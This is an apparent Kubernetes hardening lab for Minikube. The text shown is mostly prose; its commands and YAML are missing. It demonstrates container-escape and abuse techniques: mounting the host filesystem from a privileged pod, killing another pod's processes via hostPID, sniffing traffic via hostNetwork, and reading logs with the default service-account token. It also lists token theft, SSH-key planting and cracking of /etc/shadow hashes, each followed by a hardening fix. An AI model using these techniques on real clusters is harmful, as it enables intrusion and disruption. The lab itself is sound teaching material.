Lab_05 - Hardening K8s
Lab 05 - Hardening K8s
Warning
Do NOT modify any deployment configuration .yaml files, unless explicitly specified in the lab material. Otherwise, you might be required to start the lab again.
Part I: Interacting with the cluster
Generally, to interact with the cluster, the kubectl tool is used. For example, you can view the nodes in your cluster with the command:
Output:
What is the purpose of each field?
NAME: This is the name of the node, in this case, "minikube". This is the default name for the node since we are using Minikube to create the cluster.
STATUS: This column tells the status of the node. "Ready" means that the node is healthy and ready to accept pods. Other possible values include "Out of Disk", "Memory Pressure", "Disk Pressure", "Network Unavailable", etc.
ROLES: This is the role that has been assigned to the node. The "control-plane" role means this node is a master node that controls the working of the Kubernetes cluster. Worker nodes, which actually run the applications, would not have this role.
AGE: This is how long ago the node was created.
VERSION: This is the version of Kubernetes that is running on the node.
Let us list all the available namespaces in the cluster.
Output:
Namespaces in Kubernetes are intended to be used in environments with many users spread across multiple teams, or projects.
They provide a scope for names and are a way to divide cluster resources between multiple uses.
Not all installations will have the same namespaces, as some Kubernetes software may add additional namespaces. In our case, we have 4 default namespaces that come with a fresh Minikube install:
default: This is the default namespace that gets created when Kubernetes is installed. If no namespace is specified with a kubectl command, the 'default' namespace is used. User-created pods and other resources often go here.
kube-system: This namespace is for objects created by the Kubernetes system itself. This is where resources that are part of the Kubernetes system are usually located, like system-level components that are necessary for Kubernetes to function.
kube-public: This namespace is automatically created and is readable by all users (including those not authenticated). While this namespace is mostly reserved for cluster usage, in practice it is rarely used. Some clusters use it to hold public configuration details such as ConfigMaps.
kube-node-lease: This namespace contains lease objects associated with each node which improves the performance of the node heartbeats as the cluster scales.
Tasks:
a) As the first task of the lab, list all the pods across all namespaces.
Solution
b) What is the address of the cluster's control plane? And the address of the DNS service?
Solution
Expected output:
c) What is the resource capacity of the 'minikube' node? And the operating system version of the node?
Solution
Expected output:
d) Create a new namespace called lab-web.
Within it, create a simple pod running an nginx server called lab-nginx-pd.
List the pod to ensure that the status is Running.
What is the IP of the lab-nginx-pd pod?
Can you curl the nginx service hosted in the lab-nginx-pd pod from the host system? Why?
Solution
Kubernetes pods use a different network interface compared to the host system. This network interface is only available to the Kubernetes node (in this case, Minikube) and not directly accessible from the host system.
e) What is the IP of the minikube node?
Access the minikube node. Can you curl the nginx service hosted in the lab-nginx-pd pod from the minikube node? Why?
Return to the host system afterward.
Solution
You can curl the Nginx service from the Minikube node because the Minikube node is a part of the Kubernetes network, and it can directly communicate with the pods.
f) List all services across all the namespaces. Then, list all the services in the lab-web namespace. Is there any nginx service listed?
Solution
g) Expose the nginx service on port 80. The service should be named nginx-service.
Then, list all the services in the lab-web namespace. Is there any nginx service listed?
Can you now curl the nginx service hosted in the lab-nginx-pd pod from the host system?
Solution
Expected output:
Notice the internal and forwarded port.
Now, get the internal IP address:
Expected output:
Based on the port and the internal IP address, one can now curl the nginx-service from the host:
Notice that the internal IP and the forwarded port might be different for different students.
Part II: Exploring Dangerous Config Attributes
In this section, we are going to explore the default configurations of the Kubernetes cluster, identify potential security risks, such as anonymous authentication, unrestricted API server access.
1. Risks of privileges: true
Access vuln_pods lab folder. Within it, you will see a deployment config file called privileged_enabled.yaml. Let's see its contents.
As you can see, privileged: true is present. Upon deploying the pod, it will be available in the lab-web namespace. Let's deploy the pod.
Let's list the pods within the namespace to ensure that the pod is running.
Now, let's get within the created pod.
Upon successful execution of this command, a bash shell within the pod should be presented to us. Let us list the available filesystems:
The output may be different for other systems. But in our case, the fs of interest happens to be called /dev/sda1. This is actually the name of the host filesystem that hosts the cluster. It is also the biggest filesystem. Let's attempt to mount it in a /tmp dir.
You now have access to the filesystem of the system that is running under your cluster! As you can see, the privileged: true container-level security context breaks down almost all the isolation that containers are supposed to provide.
What's the worst an attacker could do, assuming that it manages to obtain access to a privileged pod?
An attacker can look for kubeconfig files on the host filesystem. With luch, it will find a cluster-admin config with full access to everything.
An attacker can access the tokens from all pods on the node. Using something like
kubectl auth can-i --list, one can see whether any pods have tokens that give more permissions than one currently has.An attacker would usually look for tokens that have permissions to get secrets or create pods, deployments, etc., in kube-system, or that allow him to create
clusterrolebindings.
An attacker can add his own SSH key. If an attacker manages to also gain network access to SSH to the node, then it can add his own public key to the node and SSH to it for full interactive access.
An attacker can crack hashed passwords. An attacker could grab the hashes in /etc/shadow. If the brute-force attack lends something useful, then an attacker would attempt lateral movement by checking those cracked creds against other nodes.
Tasks:
a) Describe the lab-nginx-pd pod. Is there any privileged: true setting?
Solution
Expected output: One should observe no privileged setting enabled by default.
b) Access the lab-nginx-pd pod, then attempt to mount the host fs again on this pod. Are you able to do it?
Solution
Expected output:
2. Risks of hostPID: true
Access vuln_pods lab folder. Within it, you will see a deployment config file called hostpid_enabled.yaml. Let's see its contents.
As you can see, hostPID: true is present in the config. Upon deploying the pod, it will be available in the lab-web namespace. Let's deploy the pod.
Let's list the pods within the namespace to ensure that the pod is running.
Now, let's get within the created pod.
Upon successful execution of this command, a bash shell within the pod should be presented to us. Let us explore the available processes:
Upon closer inspection, we notice some interesting processes:
Might these be, by any chance, the processes pertaining to the nginx-service service, hosted by lab-nginx-pd pod?
They are. Let's attempt to close them, to see what happens.
Let's unpack the command:
The
pscommand offers the list of all the processes.The
kill -9command sends theSIGKILLsignal to a process, effectively stopping it.The
grepfilters that based on your search string, [n] avoids listing the actual grep process itself.The
awkselects the second field of each line, which is the PID.The
$(x)construct means to execute thexcommand, then take its output and use is for another command.The
while; do <cmd>; doneconstruct runs<cmd>in a while loop indefinitely.The
&>/dev/nullredirects the error output to/dev/null.
The processes are terminated. We have successfully stopped the nginx service, essentially causing a DoS (Denial of Service) attack. Let us list the pods in the lab-web namespace to see their status:
Depending on the moment when the command is executed, the status of the lab-nginx-pd pod should be either CrashLoopBackOff or Error. curl-ing the nginx server should fail.
NOTE: To obtain the Internal IP of the
minikubenode by running$ kubectl describe node minikube | grep -C 1 AddresTo obtain the forwarded nginx port, run
$ kubectl get svc -n lab-web
Beyond just processes from another pods, one can also list all processes on the host itself. Attempting to kill K8S associated processes, for example, will likely cause the disruption of the entire cluster and potential loss of data.
Tasks:
c) Stop the while loop. How does the pod status change? Does the nginx service becomes available immediately?
Solution
Expected output: lab-nginx-pd pod should have the Running STATUS after about 30s
d) Describe the priv-enabled pod. Is there any hostPID: true setting?
Solution
e) Access the priv-enabled pod, then attempt to list the nginx processes pertaining to the lab-pod-ng pod. Are you able to reproduce the attack above?
Solution
Expected output: no nginx process should be listed.
3. Risks of hostNetwork: true
To illustrate the risks of hostNetwork, let's consider the situation of an worker that uses a token to connect to an HTTP-based API (./vuln_pods/worker_curl.yaml):
Note
Normally, the secrets should not be present in the deployment configuration file.
Let's start the worker-curl pod:
What happens if a pod that has hostNetwork: true is captured by an attacker?
Consider the following pod config (./vuln_pods/hostnetwork_enabled.yaml):
Let's create the network-sniffer pod:
Now, let's get into the network-sniffer pod and see what an attacker can do from it.
Let's try capturing all the HTTP packets on port 80 and the nginx-service port:
An attacker would be able to sniff traffic directed towards nginx-service from another pod! Then, by capturing various tokens and secrets, it could attempt to move laterally to another pods.
Tasks:
f) Delete the network-sniffer pod.
Solution
g) Remove the hostNetwork section from the vuln/hostnetwork_enabled.yaml and re-deploy the pod. Are you able to capture traffic from other pods now?
Solution
Expected output: grep matches nothing, as the only traffic that can be intercepted now is the one directed towards the network-sniffer pod.
Part III: Exploring Default Configurations
1. Default service account token
By default, Kubernetes creates a service account in each namespace and attaches it to every Pod. This can be a security issue if a Pod doesn't need to interact with the Kubernetes API, but can still do so with the default account.
To exemplify this risk, let us attempt to access this token and use it to perform actions on the cluster.
First, let's confirm that the default service account exists for our lab-web namespace:
Now, let's assume that the default service account has permissions to retrieve the logs in the current namespace. To simulate this, we need to do the following:
Create a role that allows to access logs within a namespace:
Bind this role to the
defaultservice account:
Task:
a) Create two files named log_read_role.yaml and log_read_binding.yaml. Apply these policies to the cluster.
Solution
Until now, there is nothing inherently wrong security-wise. Having permission to access logs can be a requirement for:
Debugging: If you're debugging an application that's running inside a pod, it might be useful to be able to read the logs of other pods in the same namespace.
Log Aggregation: If you're running a log aggregation tool inside your cluster that needs to collect logs from all pods, you might want to give the service account that this tool uses the ability to read logs.
Monitoring and Alerting: If you have a monitoring and alerting tool that needs access to the logs to monitor for specific events or errors, then it would need permissions to read logs.
The issue appears when an attacker manages to get into a pod that was created without disabling access to the default service account token, which, as mentioned earlier, is enabled by default.
To disable this default, one needs to configure automountServiceAccountToken: false within a deployment config file. If we take a look at the hostpid_enabled.yaml, we see that this is not the case. Let's see how an attacker would abuse this.
Start by accessing the
hostpid-enabledpod:
Get the default service account token that is automatically mounted into the container due to the default configuration:
We now have everything we need. Let's build the request to K8S API that allows us to successfully read the logs of another pod:
Note
The KUBERNETES_SERVICE_HOST and KUBERNETES_SERVICE_PORT environment variables are automatically created and made available to the pod, pointing to the Kubernetes API server. These variables combined typically represent the Kubernetes API server address.
Depending on what the application logs, they might contain sensitive information like usernames, IP addresses, or even passwords. An attacker who gains access to these logs might gain further access to the system. This would not have been possible if the pod was hardened. Let's test that.
Tasks:
b) Copy the hostpid-enabled.yaml to a new configuration file called hardened-pod.yaml. Remove the hostPID: true, and disable the default service token automount setting. Name the pod hardened-worker. Ensure that the pod is part of the lab-web namespace.
Solution
Expected output:
c) Start the pod and attempt to access the logs of the nginx-service again. Is this still possible?
Solution
Expected output:
2. Default network permissions
By default, pods are non-isolated and accept traffic from any source. Let's prove this.
For starters, let's get the IP of the lab-nginx-pd pod, where the nginx-service runs.
NOTE: You might observe a different IP.
Then, let's get into the hardened-worker pod.
As the nginx-service listens on port 80, let's attempt to curl it.
As mentioned earlier, there is no network isolation between pods by default.
We will explore how to enforce network policies in the part IV of the lab.
Part IV: Network Policies
For this section, we will create and apply Network Policies to restrict pod-to-pod communication.
Let's start with creating a new namespace called lab-network
Within this namespace, let's deploy two apps:
Let's also expose the ports of the apps, to make them accessible from other pods:
Now that everything is in place, let's verify that there are no network policies in active by default, by accessing the apps from a pod within another namespace:
As there are no network policies in place, the apps are accessible from any pod within the cluster. Let's change that.
Tasks:
a) Deny All Traffic
Apply a NetworkPolicy that denies all ingress and egress traffic in this namespace. Try to access your application from another pod and observe the result.
Finally, remove the "deny-all" policy.
Solution
Expected output:
This NetworkPolicy selects all pods in the lab-network namespace (due to the empty podSelector) and denies all ingress and egress traffic (due to the policyTypes field containing both Ingress and Egress).
Then apply the policy:
After applying this policy, if you try to access your applications from another pod, you should not be able to reach them.
Expected output:
Remove the deny-all policy using the following command:
b) Allow Ingress Traffic From Certain Pods
Try to access the hello-app-service from the nginx-pod and also from a pod outside the namespace. Observe the results.
Apply a NetworkPolicy that allows ingress traffic to one application only from the other application (Hint: you can use labels for this).
Try again to access the hello-app-service from the nginx-pod and also from a pod outside the namespace. Observe the results.
Finally, remove the network policy.
Solution
As suggested, let's make use of labels to configure NetworkPolicy that allows traffic only from one application to another. Let's assume we want to allow traffic only from nginx-pod to hello-app-pod.
First, let's ensure that your pods have labels that we can use in our NetworkPolicy.
Next, we will create a NetworkPolicy that allows ingress traffic to hello-app-pod only from nginx-pod. Here is a YAML for such a policy:
Expected output:
This NetworkPolicy selects the pod with label app=hello-network and allows ingress traffic only from the pod with label app=nginx-network.
Apply the policy:
After applying this policy, if you try to access hello-app-pod from nginx-pod, you should be able to reach it:
Expected output:
However, if you try to reach hello-app-pod from a pod outside of the lab-network namespace, you should not be able to establish a connection:
Expected output:
Finally, remove the allow-nginx-to-hello policy using the following command:
c) Allow Traffic To/From Specific Ports
Apply a NetworkPolicy that allows ingress traffic to both apps only on their specific ports.
Try to connect to your applications on that port and also on any other port. Observe the results.
Finally, remove the network policy.
Solution
Let's create a NetworkPolicy that allows ingress traffic only on port 8080. Here is a YAML for such a policy:
Expected output:
This NetworkPolicy selects the pod with label app=hello-network and allows ingress traffic only on port 8080.
Apply the policy:
After applying this policy, if you try to access hello-app-pod from nginx-pod on port 8080, you should be able to reach it:
Expected output:
However, if you try to reach hello-app-pod from nginx-pod on any other port, you should not be able to establish a connection:
Finally, remove the allow-port-8080 policy using the following command:
d) Combine Multiple Policies
Apply a NetworkPolicy that denies all ingress and egress traffic in the namespace, and another policy that allows traffic only between the two applications.
Try to access one application from the other and also from a pod outside the namespace. Observe the results.
e) Default Deny All Egress Traffic
Apply a NetworkPolicy that denies all egress traffic from this namespace.
Try to access an external resource (like a public website) from your application and observe the result.
Part V: Role-Based Access Control (RBAC)
Part VI: Logging and Threat Detection
Part VII: Audit IaC
YAML Exercise Files
hardened-pod.yaml
hostnetwork_enabled.yaml
hostpid_enabled.yaml
privileged_enabled.yaml
Last updated